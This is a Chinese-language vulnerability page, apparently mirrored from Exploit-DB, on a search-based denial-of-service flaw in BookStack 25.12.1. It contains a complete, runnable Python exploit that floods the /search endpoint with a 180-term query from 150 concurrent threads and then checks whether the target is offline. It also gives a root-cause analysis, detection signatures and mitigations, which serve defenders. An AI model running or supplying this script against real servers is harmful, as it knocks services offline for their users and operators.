[webapps] BookStack 25.12.1 - Denial of Service

未分配CVE

漏洞

High · CVSS N/A

📋 漏洞基础信息

CVE未分配CVE
漏洞类型漏洞
受影响版本详见原文
危害等级High · CVSS N/A
发布日期2026-05-21
提交者Gabriel Rodrigues (TEXUGO)
来源Exploit-DB 原文 ↗

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Python),可在具备相应环境的机器上直接运行:

#!/usr/bin/env python3
"""
BookStack 25.12.1 - 搜索资源耗尽拒绝服务攻击 (DoS) PoC
CVE: 未分配 (Request ID: 1970573)
漏洞利用作者: Gabriel Rodrigues (TEXUGO)

原理:
该漏洞利用 BookStack 搜索功能未对搜索词数量进行有效限制。
攻击者通过构造一个包含大量搜索词(普通词、精确短语、标签)的恶意查询字符串,
导致后端数据库生成包含大量 'OR LIKE' 子句和低效查询计划的 SQL 查询。
这会导致数据库和 Web 服务器 CPU 和内存资源被快速耗尽,造成拒绝服务。

依赖安装:
    pip install requests

用法:
    python3 poc_bookstack_dos.py <BookStack基础URL> [<Cookie字符串>]

示例:
    无需认证:
    python3 poc_bookstack_dos.py http://192.168.1.100:8080

    需要认证:
    python3 poc_bookstack_dos.py http://192.168.1.100:8080 "cookie_name=cookie_value; session=abc123"
"""

import requests
import sys
import time
from urllib.parse import quote
from concurrent.futures import ThreadPoolExecutor

# 全局停止标志,用于控制攻击线程
stop_attack = False

def generate_payload():
    """
    生成恶意搜索负载。
    组合 100 个普通词 + 50 个精确短语 + 30 个标签,共 180 个搜索项。
    这会生成一个包含大量 'OR' 操作的复杂查询。
    """
    terms = [f"t{i}" for i in range(100)]  # 普通搜索词
    exact_phrases = [f'"e{i}"' for i in range(50)]  # 精确短语
    tags = [f"[t{i}=v{i}]" for i in range(30)]  # 标签
    payload = " ".join(terms + exact_phrases + tags)
    return payload

def perform_attack(search_url, headers):
    """
    单个攻击线程函数。
    持续不断地发送构造好的恶意搜索请求,直到收到停止信号。
    """
    global stop_attack
    # 使用独立的 Session 以复用连接
    session = requests.Session()
    while not stop_attack:
        try:
            # 发送请求,设置 30 秒超时
            session.get(search_url, headers=headers, timeout=30, verify=False)
            # 不打印成功信息,避免刷屏
        except requests.exceptions.Timeout:
            # 超时是预期行为,说明服务正在受到影响
            pass
        except Exception:
            # 忽略其他异常(如连接错误),继续攻击
            pass

def main():
    global stop_attack

    # 检查命令行参数
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <BookStack基础URL> [<Cookie字符串>]")
        print(f"示例: {sys.argv[0]} http://192.168.1.100:8080")
        print(f"示例: {sys.argv[0]} http://192.168.1.100:8080 'session_id=abc123'")
        sys.exit(1)

    # 解析参数
    base_url = sys.argv[1].rstrip("/")
    cookie_string = sys.argv[2] if len(sys.argv) > 2 else None

    # 生成恶意负载
    malicious_payload = generate_payload()

    # 构造完整的搜索 URL
    # 搜索参数 'term' 对应 BookStack 的搜索功能
    encoded_payload = quote(malicious_payload)
    search_url = f"{base_url}/search?term={encoded_payload}"

    # 设置请求头
    headers = {
        "User-Agent": "Mozilla/5.0 (BookStack-DoS-PoC)",
    }
    if cookie_string:
        headers["Cookie"] = cookie_string

    # 打印攻击信息
    print(f"[*] 目标: {base_url}")
    print(f"[*] 攻击 URL: {search_url[:100]}...")
    print(f"[*] URL 总长度: {len(search_url)} 字节")
    print(f"[*] 搜索负载长度: {len(malicious_payload)} 字符")
    print(f"[*] 搜索项数量: 100(普通词) + 50(精确短语) + 30(标签) = 180 项")
    print(f"[*] 启动 150 个并发线程进行攻击...")
    print(f"[*] 攻击将持续 30 秒,然后进行状态检查...\n")

    # 使用线程池启动 150 个并发攻击线程
    # 高并发可以更快耗尽服务器资源
    executor = ThreadPoolExecutor(max_workers=150)
    futures = [executor.submit(perform_attack, search_url, headers) for _ in range(150)]

    # 等待 30 秒让攻击充分发挥作用
    time.sleep(30)

    # 停止所有攻击线程
    stop_attack = True
    executor.shutdown(wait=False)

    print("[*] 攻击线程已停止。\n")
    print("[*] 开始检查目标状态...\n")

    # 检查目标状态,验证 DoS 效果
    print("时间  | 状态  | HTTP状态码")
    print("-" * 30)
    for i in range(15):
        try:
            # 向目标首页发送一个简单的 GET 请求
            # 设置非常短的超时 (3秒) 来检测服务是否响应
            response = requests.get(base_url, headers=headers, timeout=3)
            # 如果能正常响应,说明服务可能还在运行
            print(f"[{(i+1)*2:2d}s] 在线  | {response.status_code}")
        except requests.exceptions.Timeout:
            # 超时是经典的 DoS 成功标志
            print(f"[{(i+1)*2:2d}s] 离线  | 请求超时 (3秒)")
        except requests.exceptions.ConnectionError:
            # 连接错误也表示服务不可用
            print(f"[{(i+1)*2:2d}s] 离线  | 连接失败")
        except Exception as e:
            print(f"[{(i+1)*2:2d}s] 错误  | {type(e).__name__}")
        
        # 每 2 秒检查一次
        time.sleep(2)

    print("\n[*] 验证完成。")
    print("[*] 注意:如果服务器持续没有恢复,可能需要手动重启服务。")

if __name__ == "__main__":
    # 忽略 SSL 警告(如果目标使用自签名证书)
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    main()

🔬 深度技术分析

漏洞触发机制

该漏洞属于典型的资源耗尽型拒绝服务攻击 (Resource Exhaustion DoS),其根因在于 BookStack 的搜索功能在处理用户输入时,未对搜索词条的数量和复杂度进行有效限制。

1. 搜索功能设计缺陷:BookStack 的搜索功能允许用户输入包含多种元素的查询字符串,包括:

* 普通单词 (word)

* 精确短语 ("exact phrase")

* 标签 ([tag_name=tag_value])

* 布尔操作符 (OR, AND)

2. 后端查询构建:当 BookStack 解析这些搜索词时,它会将它们转换为 SQL 查询。一个关键的缺陷是,每个搜索词都会被转换为一个独立的 LIKE 子句,并通过 OR 连接。对于包含 180 个搜索项的恶意负载,最终生成的 SQL 查询可能类似于:

```sql

SELECT ... FROM ... WHERE

(name LIKE '%t0%' OR description LIKE '%t0%' ...) OR

(name LIKE '%t1%' OR description LIKE '%t1%' ...) OR

...

(name LIKE '%e0%' OR description LIKE '%e0%' ...) OR

...

-- 以及涉及标签表的复杂 JOIN 和子查询

```

3. 数据库资源耗尽

* CPU 高消耗:数据库引擎(如 MySQL)需要解析和执行这个极其复杂的 WHERE 子句。大量的 OR 操作和 % 通配符(无法利用索引)会导致数据库执行全表扫描 (Full Table Scan)。对于内容类表(如 pageschapters),表中的记录数可能很多,全表扫描加上复杂的 OR 条件会使 CPU 使用率瞬间飙升。

* 内存高消耗:数据库需要为这个临时结果集分配内存。一个包含 180 个 LIKE 条件的查询,其查询计划树非常庞大,会消耗大量内存来存储中间结果。对于 PHP-FPM(FastCGI 进程管理器)来说,处理这个请求的 PHP 进程也会因为等待数据库响应而阻塞,并消耗内存。

* 连接池耗尽:150 个并发攻击线程会在短时间内发起大量请求,迅速填满 Web 服务器的连接池(如 PHP-FPM 的子进程数)和数据库的连接池。新的请求将被排队或拒绝,导致服务不可用。

利用链分析

攻击者执行该攻击的步骤非常简单直接,不需要特殊的权限或知识。

1. 信息收集

* 确定目标 BookStack 实例的基础 URL,例如 http://target.bookstack.com

* 判断目标是否需要认证。如果需要,攻击者需要获取一个有效的 Cookie(例如,通过注册一个普通用户账号或使用其他方式获得)。该漏洞在未认证状态下同样有效,因为搜索功能通常对游客或最低权限用户开放。

2. 构造恶意负载

* 生成大量搜索词:如代码所示,生成 100 个随机普通词 (t0, t1, …)、50 个精确短语 (e0, e1, …) 和 30 个标签 (t0=v0, …),总共 180 个搜索项。

* URL 编码:使用 urllib.parse.quote() 对负载进行 URL 编码,使其可以安全地放入 HTTP GET 请求的 URL 参数中。

3. 发动攻击

* 单次请求:直接向 {base_url}/search?term={encoded_payload} 发送一个 HTTP GET 请求。这个单独的请求就有可能导致轻微的性能下降。

* 并发放大:为了达到拒绝服务效果,攻击者使用 Python 的 concurrent.futures.ThreadPoolExecutor 创建 150 个并发线程。这些线程会持续不断地发送上述构造好的恶意请求。通过这种方式,攻击者在一个很短的时间窗口内,对服务器发送了远远超过其处理能力的计算量。

4. 效果验证

* 在持续攻击 30 秒后,停止所有攻击线程。

* 使用一个简单的客户端,以较低的频率(每 2 秒一次)和短暂的超时时间(3 秒)向服务器发送普通的 HTTP 请求。

* 观察服务器响应:

* 请求超时 (Timeout):服务器进程(PHP-FPM)或数据库连接池被完全占满,无法接受新连接。

* 连接失败 (Connection Error):Web 服务器(如 Nginx)因后端(PHP-FPM)无响应而主动拒绝连接。

* 服务恢复:如果攻击停止后,服务器在一段时间内恢复正常,则证明 DoS 攻击成功。在某些情况下,如果资源消耗导致进程崩溃,攻击效果可能是持久的,需要人工介入。

关键代码/数据结构

  • urllib.parse.quote():Python 标准库函数。用于对恶意搜索负载进行 URL 编码,确保特殊字符(如空格、引号、方括号)能作为 URL 查询参数的值被正确传输,不会被浏览器或服务器解析为 URL 结构的一部分。
  • concurrent.futures.ThreadPoolExecutor(max_workers=150):Python 并发执行框架。用于创建一个包含 150 个线程的池,能够高效地发起大量并发的网络请求,模拟分布式拒绝服务的攻击流量。
  • requests.Session():Python requests 库的会话对象。在持续的请求中重用 TCP 连接,可以减少握手开销,提高攻击效率,使其能够最大化对被攻击服务器的负担。
  • requests.get(url, timeout=3):核心攻击和验证函数。timeout 参数至关重要,它允许客户端在服务器无响应时快速失败(抛出 Timeout 异常),而不会无限等待。在攻击阶段,我们不关心响应;在验证阶段,我们利用这个超时来判断服务器的健康状态。
  • SQL查询中的LIKE '%...%':这是数据库端性能瓶颈的根源。% 通配符放在搜索词前后,意味着数据库无法使用标准的 B-Tree 索引来加速查询,必须进行效率最低的全表扫描。对于一个有成千上万条记录的表,执行几十上百个这样的 OR LIKE 操作,其计算量是巨大的。

检测与防御

蓝队检测方法

1. 日志分析(Web 服务器访问日志)

* 异常长的请求 URL:寻找 term= 参数后跟有异常长且包含大量随机词和特殊符号(如%22代表"%5B代表[)的 GET 请求。特征:GET /search?term=t0%20t1%20t2...e0%20e1%20e2...[t0=v0]... HTTP/1.1

* 相同 IP 的高频请求:单个 IP 地址在短时间内(如 1-2 秒内)对 /search 端点发起大量请求。

* 非正常 User-Agent:攻击脚本通常使用自定义的 User-Agent,如本例中的 Mozilla/5.0 (BookStack-DoS-PoC),这是一个明显的检测特征。

* HTTP 状态码变化:攻击期间,可能出现大量 503 Service Unavailable(后端过载)或 502 Bad Gateway(后端无响应)。攻击后恢复时,恢复正常 200 状态码。

2. 性能监控(服务器端)

* CPU 使用率:数据库服务器(MySQL/MariaDB)和 Web 服务器(PHP-FPM)的 CPU 使用率会瞬间飙升到 100%。

* 数据库连接数:数据库的活动连接数会迅速增加并达到上限。

* PHP-FPM 进程数:PHP-FPM 的活动进程数会迅速达到 pm.max_children 配置的上限。

* 网络流量:虽然单个请求的包大小不大,但高并发会导致入站带宽被占满。

防御与缓解措施

1. 应用层防御(优先修复)

* 限制搜索词数量:在 BookStack 后端代码中,对 $_GET['term'] 进行分割后,检查其元素数量。如果超过一个安全阈值(例如 10 个),则直接返回 400 Bad Request 或截断多余的词。这是最根本的修复方式。

* 输入验证与清理:拒绝或忽略格式异常的搜索词,如过长的精确短语或标签。

* 设置查询超时:在数据库查询中设置 max_execution_time(MySQL 5.6+)或类似的机制。当单个查询执行时间超过阈值(如 5 秒)时,数据库自动终止该查询,防止其持续占用资源。

2. Web 服务器/反向代理层(Nginx)

* 限制请求速率 (Rate Limiting):使用 limit_req 模块对 /search 端点进行限流。例如,允许每个 IP 每 1 秒只能访问 /search 端点 5 次。

* 限制请求体/请求 URL 大小:使用 large_client_header_buffersclient_header_buffer_size 限制客户端请求的 URL 长度。超过长度的请求直接拒绝。

* 限制并发连接数 (Connection Limiting):使用 limit_conn 模块限制单个 IP 的并发连接数。

3. 数据库层

* 资源限制:使用 ulimit 限制 MySQL 进程可以使用的 CPU 和内存资源。

* 长查询监控:开启 MySQL 的 slow query log,并设置一个低的 long_query_time(例如 2 秒)。定期分析日志,定位并优化低效查询。对于无法优化的恶意查询,在应用层直接拦截。

* WAF 规则:部署 Web 应用防火墙 (WAF),配置规则来识别并拦截包含大量 LIKEOR 关键字的恶意搜索请求。例如,ModSecurity 的 REQUEST-912-DOS-PROTECTION.conf 规则集可以用于检测 DoS 攻击。

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-22 08:11 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)